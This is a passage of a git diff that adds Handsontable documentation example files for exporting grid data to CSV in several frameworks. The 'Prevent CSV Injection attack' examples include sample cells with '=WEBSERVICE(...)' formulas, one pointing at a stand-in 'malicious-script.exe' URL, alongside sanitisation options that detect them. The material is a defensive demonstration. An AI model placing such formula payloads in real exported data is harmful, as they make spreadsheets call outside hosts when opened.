this.hotTable.hotInstance!.getPlugin('exportFile');\n\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value: string) => {\n return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: {\n license: NON_COMMERCIAL_LICENSE,\n } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-csv/angular/example4.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json new file mode 100644 index 00000000..30173cd2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-file');\n\nbutton.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example1.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json new file mode 100644 index 00000000..3d8d2f29 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-file')!;\n\nbutton.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example1.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json new file mode 100644 index 00000000..ceb787ba --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-blob');\n\nbutton.addEventListener('click', () => {\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example2.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json new file mode 100644 index 00000000..9ba13910 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-blob')!;\n\nbutton.addEventListener('click', () => {\n const exportedBlob = exportPlugin.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example2.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json new file mode 100644 index 00000000..475536fe --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin = hot.getPlugin('exportFile');\nconst button = document.querySelector('#export-string');\n\nbutton.addEventListener('click', () => {\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example3.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json new file mode 100644 index 00000000..1832d708 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n
\n
\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5'],\n ['A6', 'B6', 'C6', 'D6', 'E6', 'F6', 'G6'],\n ['A7', 'B7', 'C7', 'D7', 'E7', 'F7', 'G7'],\n ],\n colHeaders: true,\n rowHeaders: true,\n hiddenRows: { rows: [1, 3, 5], indicators: true },\n hiddenColumns: { columns: [1, 3, 5], indicators: true },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\nconst button = document.querySelector('#export-string')!;\n\nbutton.addEventListener('click', () => {\n const exportedString = exportPlugin.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example3.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json new file mode 100644 index 00000000..e7d04ef3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n \n \n \n
\n
\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\nconst hot = new Handsontable(container, {\n data: [\n ['https://handsontable.com', '=WEBSERVICE(A1)'],\n ['https://github.com', '=WEBSERVICE(A2)'],\n ['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin = hot.getPlugin('exportFile');\n\ndocument.querySelector('#no-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n});\ndocument.querySelector('#recommended-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n});\ndocument.querySelector('#regexp-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE/,\n });\n});\ndocument.querySelector('#function-sanitization').addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example4.js","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json new file mode 100644 index 00000000..31e09b56 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n
\n \n \n \n \n
\n
\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { ExportFile } from 'handsontable/plugins';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nconst hot = new Handsontable(container, {\n data: [\n ['https://handsontable.com', '=WEBSERVICE(A1)'],\n ['https://github.com', '=WEBSERVICE(A2)'],\n ['http://example.com/malicious-script.exe', '=WEBSERVICE(A3)'],\n ],\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst exportPlugin: ExportFile = hot.getPlugin('exportFile');\n\ndocument.querySelector('#no-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n});\n\ndocument.querySelector('#recommended-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n});\n\ndocument.querySelector('#regexp-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE/,\n });\n});\n\ndocument.querySelector('#function-sanitization')!.addEventListener('click', () => {\n exportPlugin.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/export-to-csv/javascript/example4.ts","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json new file mode 100644 index 00000000..fdda8737 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite 